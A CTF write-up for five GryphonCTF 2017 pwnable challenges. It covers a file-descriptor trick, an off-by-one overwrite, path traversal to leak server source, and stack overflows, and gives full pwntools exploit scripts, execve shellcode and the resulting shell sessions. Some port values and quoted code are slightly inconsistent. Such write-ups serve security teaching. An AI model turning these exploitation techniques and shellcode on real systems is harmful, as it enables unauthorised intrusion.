Table of Contents

Here are my analysis and solutions for some of the pwnable challenges.

NoobPwn

Problem

Description:
Getting tired of pwn? How about an easier one?
nc pwn2.chal.gryphonctf.com 17346

Source code of noobpwn.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
/**
 * Created for the GryphonCTF 2017 challenges
 * By Amos (LFlare) Ng <amosng1@gmail.com>
**/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc){
    // Create buffer
    char buf[32] = {0x00};
    int key = 0x00;

    // Disable output buffering
    setbuf(stdout, NULL);

    // Get key?
    printf("Key? ");
    scanf("%d", &key);

    // Create file descriptor
    int fd = key - 0x31337;
    int len = read(fd, buf, 32);

    // Check if we have a winner
    if (!strcmp("GIMMEDAFLAG\n", buf)) {
        system("/bin/cat flag.txt");
        exit(0);
    }

    // Return sadface
    return 1;
}

Analysis

The important section of the code is as follows:

scanf("%d", &key);                    // user input

// Create file descriptor
int fd = key - 0x31337;               // compute file descriptor number
int len = read(fd, buf, 32);          // here, we want to read from stdin

// Check if we have a winner
if (!strcmp("GIMMEDAFLAG\n", buf)) {  // string comparison of our input with static string
    system("/bin/cat flag.txt");      // get flag!
    exit(0);
}

We want to ensure that read() reads from standard input (fd = 0) so that the program can receive user input. To do this, we simply set key = 0x31337 and send it over in its decimal representative (not hex representative!).

After that, we send "GIMMEDAFLAG\n" to ensure that !strcmp("GIMMEDAFLAG\n", buf) evaluates to true and end up calling system("/bin/cat flag.txt").

Solution

Source code of exploit.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python

from pwn import *
context(arch = 'i386', os = 'linux')

HOST = 'pwn2.chal.gryphonctf.com'
PORT = 17346

key = 0x31337 # fd = 0x31337 - 0x31337 => 0
static_str = 'GIMMEDAFLAG'

def main():
    r = remote(HOST, PORT)

    r.sendlineafter('Key? ', str(key))
    r.sendline(static_str)

    print(r.recvall())

if __name__ == '__main__':
    main()

Execution of the exploit script:

$ python exploit.py
[+] Opening connection to pwn2.chal.gryphonctf.com on port 17346: Done
[+] Receiving all data: Done (33B)
[*] Closed connection to pwn2.chal.gryphonctf.com port 17346
GCTF{f1l3_d35cr1p70r5_4r3_n457y}

Flag: GCTF{f1l3_d35cr1p70r5_4r3_n457y}


PseudoShell

Problem

Description:
I managed to hook on to a shady agency’s server, can you help me secure it?
nc pwn2.chal.gryphonctf.com 17341

Source code of pseudoshell.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
/**
 * Created for the GryphonCTF 2017 challenges
 * By Amos (LFlare) Ng <amosng1@gmail.com>
**/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int login() {
    // Declare login variables
    int access = 0xff;
    char password[16];

    // Get password
    puts("Warning: Permanently added 'backend.cia.gov,96.17.215.26' (ECDSA) to the list of known hosts.");
    printf("root@backend.cia.gov's password: ");

    // Add one more to fgets for null byte
    fgets(password, 17, stdin);

    return access;
}

int main() {
    // Disable output buffering
    setbuf(stdout, NULL);

    // Declare main variables
    char input[8];

    // Send canned greeting
    puts("The authenticity of host 'backend.cia.gov (96.17.215.26)' can't be established.");
    puts("ECDSA key fingerprint is SHA256:1loFo62WjwvamuIcfhqo4O2PNdltJgSJ7fB3GpKLm4o.");
    printf("Are you sure you want to continue connecting (yes/no)? ");

    // Add one more to fgets for null byte
    fgets(input, 9, stdin);

    // Log user in
    int access = login();

    // Check privileges
    if (access >= 0xff || access < 0) {
        puts("INVALID ACCOUNT ACCESS LEVEL!");
    } else if (access <= 0x20) {
        puts("SUCCESSFULLY LOGGED IN AS ADMIN!");
        system("/bin/sh");
    } else {
        puts("SUCCESSFULLY LOGGED IN AS USER!");
        puts("ERROR: YOU HAVE BEEN FIRED!");
        exit(1);
    }
}

Analysis

There is an obvious off-by-one write vulnerability in both login() and main():

int login() {
    // Declare login variables
    int access = 0xff;
    char input[8];
    ...
    // Add one more to fgets for null byte
    fgets(input, 9, stdin);
    ...
}

int main() {
    ...
    // Declare main variables
    char input[8];
    ...
    // Add one more to fgets for null byte
    fgets(input, 9, stdin);
}

Our goal is to make access <= 0x20 so that we can get shell and read the flag file:

// Log user in
int access = login();

// Check privileges
...
else if (access <= 0x20) {
    puts("SUCCESSFULLY LOGGED IN AS ADMIN!");
    system("/bin/sh");
}

Notice that in login(), int access = 0xff; is placed directly before char input[8];.
Since the binary uses little-endian, access is stored as \x00\x00\x00\xff in memory.
As such, the off-by-one write causes the last byte of user input to overflow and overwrite the least significant byte of int access.

To get the shell, we can simply send 16 characters to fill the password and any character with decimal value <= 0x20.

Solution

Source code of exploit.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/env python

from pwn import *
context(arch = 'i386', os = 'linux')

HOST = 'pwn2.chal.gryphonctf.com'
PORT = 17341

padding = "A" * 16
access  = chr(0x20)
payload = padding + access

def main():
    r = remote(HOST, PORT)
    
    r.sendlineafter('(yes/no)? ', '')
    r.sendlineafter('password: ', payload)

    r.interactive()

if __name__ == '__main__':
    main()

Execution of the exploit script:

$ python exploit.py
[+] Opening connection to pwn2.chal.gryphonctf.com on port 17341: Done
[*] Switching to interactive mode
SUCCESSFULLY LOGGED IN AS ADMIN!
$ ls -al
total 32
drwxr-xr-x 1 root root        4096 Oct  4 13:22 .
drwxr-xr-x 1 root root        4096 Oct  4 13:16 ..
-rw-r--r-- 1 root root         220 Oct  4 13:16 .bash_logout
-rw-r--r-- 1 root root        3771 Oct  4 13:16 .bashrc
-rw-r--r-- 1 root root         655 Oct  4 13:16 .profile
-r--r----- 1 root pseudoshell   30 Sep 30 17:57 flag.txt
-rwxr-sr-x 1 root pseudoshell 7628 Sep 30 17:57 pseudoshell
$ cat flag.txt
GCTF{0ff_by_0n3_r34lly_5uck5}

Flag: GCTF{0ff_by_0n3_r34lly_5uck5}


FileShare

Problem

Description:
I created this service where you can leave files for other people to view!
I have been getting good reviews..what do you think about it?
nc pwn1.chal.gryphonctf.com 17342

This is a remote-only challenge.

Analysis

Let’s netcat in to understand more about the service.

$ nc pwn1.chal.gryphonctf.com 17342

          `ohmmmmmmmmmmmmmmmmmh:                  
         -NMMhyyyyyyyyyyyyyyNMMMd:                
         sMMo               mMMNMMd:              
         sMMo               mMM-+mMMd:            
         sMMo               mMM/.-sMMMd:          
         sMMo               mMMMMMMMMMMMo         
         sMMo               :////////yMMs         
         sMMo                        oMMs         
         sMMo                        oMMs         
         sMMo                        oMMs         
         sMMo                        oMMs         
         sMMo                        oMMs         
         sMMo                        oMMs
         oMMs                        oMMs
         oMMs                        oMMs
         sMMo                        oMMs         
         sMMo                        oMMs         
         sMMo                        oMMs         
         sMMo                        oMMs         
         -NMMhyyyyyyyyyyyyyyyyyyyyyyhMMN-         
          `ohmmmmmmmmmmmmmmmmmmmmmmmmho`          

YOU ARE ZE NO.58875 USER
WELCOME TO THE GREATEST FILE SHARING SERVICE IN ALL OF ZE WORLD!
           a)  CREATE FILE
           b)  VIEW FILE
YOUR INPUT => b
YOU HAVE CHOSEN TO VIEW FILE
PLEASE INPUT KEY! => ABCDE
Traceback (most recent call last):
  File "/home/fileshare/FS.py", line 29, in gets
    kkkk=base64.b64decode(filename).decode()
  File "/usr/lib/python3.5/base64.py", line 88, in b64decode
    return binascii.a2b_base64(s)
binascii.Error: Incorrect padding
Wrong key, no such file
GOODBYE!

Interesting! Upon reading an invalid filename (non-Base64 encoded), the stack trace is dumped.
From the stack trace, we can see the filename of the service /home/fileshare/FS.py is being leaked.

Let’s try creating a file and reading it to see if it works as expected:

$ nc pwn1.chal.gryphonctf.com 17342
...
YOUR INPUT => a
YOU HAVE CHOSEN TO MAKE FILE!
PLEASE INPUT NAME!(3-5 CHARAS ONLY) => AAAAA
PLEASE INPUT MESSAGE  => BBBBBBBBBBBBBBBBBBBB
FILES CREATED! HERE IS YOUR KEY WydmaWxlcy9RR1YnLCAnQUFBQUEnXQ==
GOODBYE!

$ nc pwn1.chal.gryphonctf.com 17342
YOUR INPUT => b
YOU HAVE CHOSEN TO VIEW FILE
PLEASE INPUT KEY! => WydmaWxlcy9RR1YnLCAnQUFBQUEnXQ==
~~~~~~~~~~~~~~~~~~~~~~~~

FILE FROM: AAAAA
FILE CONTENTS:

BBBBBBBBBBBBBBBBBBBB

…and the program works as advertised.

Let’s take a closer look at the Base64 key generated by the server:

$ echo "WydmaWxlcy9RR1YnLCAnQUFBQUEnXQ==" | base64 --decode
['files/QGV', 'AAAAA']

This suggests that perhaps it is reading from ./files/QGV. What if we trick the service to read FS.py (the python script for the service) instead?

$ echo "['./FS.py', 'AAAAA']" | base64
WycuL0ZTLnB5JywgJ0FBQUFBJ10K

$ nc pwn1.chal.gryphonctf.com 17342
...

YOUR INPUT => b
YOU HAVE CHOSEN TO VIEW FILE
PLEASE INPUT KEY! => WycuL0ZTLnB5JywgJ0FBQUFBJ10K
~~~~~~~~~~~~~~~~~~~~~~~~

FILE FROM: AAAAA
FILE CONTENTS:

#!/usr/bin/env python3
import base64
import ast
from datetime import datetime
import time
import os
import socket
import threading
import random
import traceback
def check(stri):
    k=0
    for i in stri:
        k=k+ord(i)
    return k
def filename():
   return ''.join(random.choice("QWERTYUIOPASDFGHJKLZXCVBNM") for i in range(3))
def create(line,nam,c):
    k="/home/fileshare/"
    name="files/"+filename()
    f=open(k+name,"w")
    print(line,file=f)
    n=[name,nam]
    k=str(n)
    return base64.b64encode(k.encode()).decode()
def gets(filename,c):
    kul="/home/fileshare/"
    try:
        kkkk=base64.b64decode(filename).decode()
        l=ast.literal_eval(kkkk)
        if len(l)==2 and len(l[1])>=3:
            c.sendall("~~~~~~~~~~~~~~~~~~~~~~~~\n\nFILE FROM: {}\nFILE CONTENTS: \n\n".format(l[1]).encode())
            f=open(kul+l[0],"r")
            jj=f.readlines()
            for i in jj:
               z=i
               c.sendall(z.encode())
            c.sendall("\n\n~~~~~~~~~~~~~~~~~~~~~~~~\n\n".encode())
        else:
            c.sendall("INVALID KEY!\n".encode())
    except Exception as e:
        error=traceback.format_exc()
        c.sendall(error.encode())
        z="Wrong key, no such file\n"
        c.sendall(z.encode())


def start(c,a,user):
    kkk="QQTLBFVLZFCJHABTKQWYYTBLTLNENP"
    try:
        c.sendall('''
          `ohmmmmmmmmmmmmmmmmmh:                  
         -NMMhyyyyyyyyyyyyyyNMMMd:                
         sMMo               mMMNMMd:              
         sMMo               mMM-+mMMd:            
         sMMo               mMM/.-sMMMd:          
         sMMo               mMMMMMMMMMMMo         
         sMMo               :////////yMMs         
         sMMo                        oMMs         
         sMMo                        oMMs         
         sMMo                        oMMs         
         sMMo                        oMMs         
         sMMo                        oMMs         
         sMMo                        oMMs
         oMMs                        oMMs
         oMMs                        oMMs
         sMMo                        oMMs         
         sMMo                        oMMs         
         sMMo                        oMMs         
         sMMo                        oMMs         
         -NMMhyyyyyyyyyyyyyyyyyyyyyyhMMN-         
          `ohmmmmmmmmmmmmmmmmmmmmmmmmho`          

YOU ARE ZE NO.{} USER
WELCOME TO THE GREATEST FILE SHARING SERVICE IN ALL OF ZE WORLD!
           a)  CREATE FILE
           b)  VIEW FILE
YOUR INPUT => '''.format(user).encode())
        c.settimeout(2*60)
        r=c.recv(100).decode().strip()
        if r=="a":
            c.sendall("YOU HAVE CHOSEN TO MAKE FILE!\nPLEASE INPUT NAME!(3-5 CHARAS ONLY) => ".encode())
            c.settimeout(60*2)
            nam=c.recv(135).decode().strip()
            c.sendall("PLEASE INPUT MESSAGE  => ".encode())
            lll=c.recv(125).decode().strip()
            print(len(nam))
            print(len(lll))
            if len(lll)>130 or (len(nam)<3 or len(nam)>5):
                c.sendall("sorry invalid input :(\n".encode())
                c.sendall("GOODBYE!\n".encode())
                c.close()
            else:
                key=create(lll,nam,c)
                z="FILES CREATED! HERE IS YOUR KEY "+key
                c.sendall(z.encode())
                c.sendall("\nGOODBYE!\n".encode())
                c.close()
        elif r=="b":
            c.sendall("YOU HAVE CHOSEN TO VIEW FILE\nPLEASE INPUT KEY! => ".encode())
            c.settimeout(60*2)
            lll=c.recv(100).decode().strip()
            if(len(lll)>33):
                c.sendall("KEY TOO LONG, INVALID\nGOODBYE\n".encode())
                c.close()
            else:
                gets(lll,c)
                c.sendall("GOODBYE!\n".encode())
                c.close()
        elif r==kkk:
            f=open("/home/fileshare/flag/thisisalongnameforadirectoryforareasonflag.txt","r")
            k=f.readline()
            z="HELLO ADMINISTRATOR!\n~~~WELCOME TO THE ADMIN PORTAL~~~\n           a)  LIST ALL FILES\n           b)  PRINT FLAG\nYOUR INPUT => "
            c.sendall(z.encode())
            c.settimeout(60*2)
            h=c.recv(3).decode().strip()
            if h=="a":
                k=os.listdir("/home/fileshare/files/")
                for i in k:
                    i="- "+i+"\n"
                    c.sendall(i.encode())
                c.sendall("GOODBYE\n".encode())
            elif h=="b":
                c.sendall("PASSWORD PLS ! =>".encode())
                c.settimeout(60*2)
                z=c.recv(10).decode().strip()
                if int(z)==check("REALADMIN"):
                    c.sendall("HERES THE FLAG!\n".encode())
                    c.sendall(k.encode())
                else:
                    c.sendall("YOU ARE NOT REAL ADMIN! BYE\n".encode())
            else:
                c.sendall("INVALID!\nGOODBYE!\n".encode());
            c.close()
        else:
            c.sendall("invalid input!\n".encode())
            c.close()
    except Exception as e:
        error=traceback.format_exc()
        c.sendall(error.encode())
        c.close()


socket=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
socket.bind(('0.0.0.0',49760))
print(socket)
socket.listen(5)
user=0
while True:
    c,a=socket.accept()
    user=user+1
    t=threading.Thread(target=start,args=(c,a,user))
    t.start()
socket.close()

Wow! That actually worked, and now we have successfully leaked the source code of the service. Let’s focus on the notable portions of the code:

kkk="QQTLBFVLZFCJHABTKQWYYTBLTLNENP"
try:
    ...
    if r=="a":
        ...
    elif r=="b":
        ...
        lll=c.recv(100).decode().strip()
        if(len(lll)>33):
            c.sendall("KEY TOO LONG, INVALID\nGOODBYE\n".encode())
            c.close()
        else:
            gets(lll,c)
            ...
    elif r==kkk:
        f=open("/home/fileshare/flag/thisisalongnameforadirectoryforareasonflag.txt","r")
        ...
        h=c.recv(3).decode().strip()
        if h=="a":
            ...
        elif h=="b":
            c.sendall("PASSWORD PLS ! =>".encode())
            c.settimeout(60*2)
            z=c.recv(10).decode().strip()
            if int(z)==check("REALADMIN"):
                c.sendall("HERES THE FLAG!\n".encode())
                c.sendall(k.encode())

It seems that there is a hidden menu activated by entering QQTLBFVLZFCJHABTKQWYYTBLTLNENP, followed by b, and finally an input z containing an integer matching the value of check("REALADMIN"). Finally, if all the above checks are successful, the flag is printed using c.sendall(k.encode()).

Solution

First, we compute the integer value returned by check("REALADMIN"):

$ python
>>> def check(stri):
...     k=0
...     for i in stri:
...         k=k+ord(i)
...     return k
...
>>> check("REALADMIN")
653

Now, we can simply trigger the hidden menu and get the flag:

$ nc pwn1.chal.gryphonctf.com 17342
...
YOUR INPUT => QQTLBFVLZFCJHABTKQWYYTBLTLNENP
HELLO ADMINISTRATOR!
~~~WELCOME TO THE ADMIN PORTAL~~~
           a)  LIST ALL FILES
           b)  PRINT FLAG
YOUR INPUT => b
PASSWORD PLS ! => 653
HERES THE FLAG!
GCTF{in53cur3_fi13_tr4n5f3r}

Pitfalls

It’s important to also note that we cannot forge the key to read from the flag, as the filepath is too long as len('flag/thisisalongnameforadirectoryforareasonflag.txt') > 33 is true, so the filepath to the flag will be rejected by the service:

if(len(lll)>33):
    c.sendall("KEY TOO LONG, INVALID\nGOODBYE\n".encode())
    c.close()
else:
    gets(lll,c)
    ...

Flag: GCTF{in53cur3_fi13_tr4n5f3r}


Tsundeflow

Problem

Description:
This one is a handful.
pwn2.chal.gryphonctf.com 17343

Source code of tsundeflow.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
/**
 * Created for the GryphonCTF 2017 challenges
 * By Amos (LFlare) Ng <amosng1@gmail.com>
**/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int win() {
    puts("B-baka! It's not like I like you or anything!");
    system("/bin/sh");
}

int main() {
    // Disable output buffering
    setbuf(stdout, NULL);

    // Declare main variables
    char input[32];

    // User preface
    puts("I check input length now! Your attacks have no effect on me anymore!!!");
    printf("Your response? ");

    // Read user input
    scanf("%s", input);

    // "Check" for buffer overflow
    if (strlen(input) > 32) {
        exit(1);
    }
}

Analysis

Notice that scanf("%s", input); is being used, and there is a strlen(input) > 32 check for input. Using the %s format specifier does not limit the number of characters to be read into the variable, so we can write more than 32 bytes into input and overflow and replace the stored return address.

To pass the strlen check, we can exploit yet another property of scanf("%s") – it does not stop when reading a null byte, but instead, stops at spaces! In other words, we can send an input that has <= 32 bytes of padding, followed by a null byte, more padding and finally the address of win().

To calculate the number of padding bytes needed to reach the stored return address from input, we can use gdb with GEF:

$ gdb ./tsundeflow-redacted-fb0908a3d9a30c4029acfdfd5bdbe313
gef➤  pattern create 100
[+] Generating a pattern of 100 bytes
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
gef➤  pattern create 100
gef➤  r < <(python -c 'print "A"*31 + "\x00" + "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa"')
Starting program: ./tsundeflow-redacted-fb0908a3d9a30c4029acfdfd5bdbe313 < <(python -c 'print "A"*31 + "\x00" + "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa"')
I check input length now! Your attacks have no effect on me anymore!!!
Your response?
Program received signal SIGSEGV, Segmentation fault.
0x61616261 in ?? ()
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]────
$eax   : 0x00000000
$ebx   : 0x00000000
$ecx   : 0x00000018
$edx   : 0x00000008
$esp   : 0xffffd480  →  "acaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaao[...]"
$ebp   : 0x61616100
$esi   : 0xf7fb1000  →  0x001b1db0
$edi   : 0xf7fb1000  →  0x001b1db0
$eip   : 0x61616261 ("abaa"?)
$cs    : 0x00000023
$ss    : 0x0000002b
$ds    : 0x0000002b
$es    : 0x0000002b
$fs    : 0x00000000
$gs    : 0x00000063
$eflags: [carry PARITY adjust ZERO sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]────
0xffffd480│+0x00: "acaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaao[...]"$esp
0xffffd484│+0x04: "adaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaap[...]"
0xffffd488│+0x08: "aeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaq[...]"
0xffffd48c│+0x0c: "afaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaar[...]"
0xffffd490│+0x10: "agaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaas[...]"
0xffffd494│+0x14: "ahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaat[...]"
0xffffd498│+0x18: "aiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaau[...]"
0xffffd49c│+0x1c: "ajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaav[...]"
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386 ]────
[!] Cannot disassemble from $PC
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]────
[#0] Id 1, Name: "tsundeflow-reda", stopped, reason: SIGSEGV
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]────
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  pattern search 0x61616261
[+] Searching '0x61616261'
[+] Found at offset 4 (little-endian search) likely
[+] Found at offset 1 (big-endian search)

From above, we can see that the stored return address is at 4 bytes offset from input[32].

gef➤  x/i win
   0x804857b <win>:    push   ebp

Solution

Source code of exploit.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/env python

from pwn import *
context(arch = 'i386', os = 'linux')

HOST = 'pwn2.chal.gryphonctf.com'
PORT = 1734117343

input   = 'A' * 31 + '\x00'
padding = 'B' * 4
ret2win = p32(0x804857b)
payload = input + padding + ret2win

def main():
    r = remote(HOST, PORT)
    r.sendafter('Your response? ', payload)
    r.interactive()

if __name__ == '__main__':
    main()

Execution of the exploit script:

$ python exploit.py
[+] Opening connection to pwn2.chal.gryphonctf.com on port 17343: Done
[*] Switching to interactive mode
B-baka! It's not like I like you or anything!
$ ls -al
total 32
drwxr-xr-x 1 root root       4096 Oct  4 13:24 .
drwxr-xr-x 1 root root       4096 Oct  4 13:16 ..
-rw-r--r-- 1 root root        220 Oct  4 13:16 .bash_logout
-rw-r--r-- 1 root root       3771 Oct  4 13:16 .bashrc
-rw-r--r-- 1 root root        655 Oct  4 13:16 .profile
-r--r----- 1 root tsundeflow   43 Sep 30 17:57 flag.txt
-rwxr-sr-x 1 root tsundeflow 7636 Sep 30 17:57 tsundeflow
$ cat flag.txt
GCTF{51mpl3_buff3r_0v3rfl0w_f0r_75und3r35}

Flag: GCTF{51mpl3_buff3r_0v3rfl0w_f0r_75und3r35}


ShellMethod

Problem

Description:
I’ve taken the previous challenge, tossed away the personality and replaced it with a stone cold robot AI.
nc pwn2.chal.gryphonctf.com 17344

Source code of shellmethod.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/**
 * Created for the GryphonCTF 2017 challenges
 * By Amos (LFlare) Ng <amosng1@gmail.com>
**/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int vuln() {
    // Declare main variables
    char command[64];

    // Get user's input
    puts("PLEASE STATE YOUR COMMAND.");
    printf("Your response? ");
    gets(command);
}

int main() {
    // Disable output buffering
    setbuf(stdout, NULL);

    // Greet and meet
    puts("HELLO. I AM SMARTBOT ALPHA 0.1.0.");
    vuln();

    // Deny user wishes immediately.
    puts("YOUR WISHES ARE DENIED.");
}

Analysis

An obvious unbounded reading of input via gets() function should be spotted from the above code.

Notice that the file does not come with any system("/bin/cat flag.txt") or system("/bin/sh") calls.
Let’s examine the security features that the executable has enabled before continuing:

$ checksec --file shellmethod-redacted-c6b75effab2d83da5a5a2d394a8d5c83
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	FORTIFY	Fortified Fortifiable  FILE
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   No	0		4	shellmethod-redacted-c6b75effab2d83da5a5a2d394a8d5c83

Great! No-eXecute (NX) bit is disabled, so we can easily gain arbitrary code execution by returning to our shellcode stored on the stack (if ASLR is disabled on the server)!

Let’s disassemble the vuln() function in gdb:

$ gdb ./shellmethod-redacted-c6b75effab2d83da5a5a2d394a8d5c83
gef➤  disassemble vuln
Dump of assembler code for function vuln:
   0x080484cb <+0>:	push   ebp
   0x080484cc <+1>:	mov    ebp,esp
   0x080484ce <+3>:	sub    esp,0x40
   0x080484d1 <+6>:	push   0x80485c0
   0x080484d6 <+11>:	call   0x80483a0 <puts@plt>
   0x080484db <+16>:	add    esp,0x4
   0x080484de <+19>:	push   0x80485db
   0x080484e3 <+24>:	call   0x8048380 <printf@plt>
   0x080484e8 <+29>:	add    esp,0x4
   0x080484eb <+32>:	lea    eax,[ebp-0x40]
   0x080484ee <+35>:	push   eax
   0x080484ef <+36>:	call   0x8048390 <gets@plt>
   0x080484f4 <+41>:	add    esp,0x4
   0x080484f7 <+44>:	nop
   0x080484f8 <+45>:	leave  
   0x080484f9 <+46>:	ret    
End of assembler dump.

We see that the memory address location of stack variable command[64] is loaded into $eax at 0x080484eb <+32>. This means that $eax points to the start of command[64], which is our input!

Now, we just need to find a call eax or jmp eax instruction in the executable and insert an appropriate shellcode to do execve('/bin/sh'). Luckily for us, call eax instruction exists in the deregister_tm_clones()!

Solution

Source code of exploit.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/env python

from pwn import *
context(arch = 'i386', os = 'linux')

HOST = 'pwn2.chal.gryphonctf.com'
PORT = 1734117343

# execve('/bin/sh') shellcode
shellcode = ''.join([
    asm('xor ecx, ecx'),             # make ecx 0
    asm('mul ecx'),                  # make eax = 0 too
    asm('push ecx'),                 # push null byte to terminate '/bin//sh' str
    asm('push ' + str(u32('//sh'))), # push //sh
    asm('push ' + str(u32('/bin'))), # push /bin
    asm('mov ebx, esp'),             # set ebx to point to '/bin//sh\x00' using esp
    asm('mov al, 11'),               # set eax = 11 (syscall number for execve)
    asm('int 0x80')                  # invoke interrupt
])

# [ shellcode || padding || stored eip ]
offset_to_stored_eip = 64 + 4
ret2shellcode = p32(0x08048433)
payload = shellcode.ljust(offset_to_stored_eip, 'A') + ret2shellcode

def main():
    r = remote(HOST, PORT)
    r.sendline(payload)
    r.interactive()

if __name__ == '__main__':
    main()

Execution of the exploit script:

$ python shellmethod-pwn.py
[+] Opening connection to pwn2.chal.gryphonctf.com on port 17344: Done
[*] Switching to interactive mode
HELLO. I AM SMARTBOT ALPHA 0.1.0.
PLEASE STATE YOUR COMMAND.
Your response?
$ ls -al
total 32
drwxr-xr-x 1 root root        4096 Oct  4 13:24 .
drwxr-xr-x 1 root root        4096 Oct  4 13:16 ..
-rw-r--r-- 1 root root         220 Oct  4 13:16 .bash_logout
-rw-r--r-- 1 root root        3771 Oct  4 13:16 .bashrc
-rw-r--r-- 1 root root         655 Oct  4 13:16 .profile
-r--r----- 1 root shellmethod   35 Sep 30 17:57 flag.txt
-rwxr-sr-x 1 root shellmethod 7516 Sep 30 17:57 shellmethod
$ cat flag.txt
GCTF{5h3llc0d35_4r3_ju57_4553mbly}

Flag: GCTF{5h3llc0d35_4r3_ju57_4553mbly}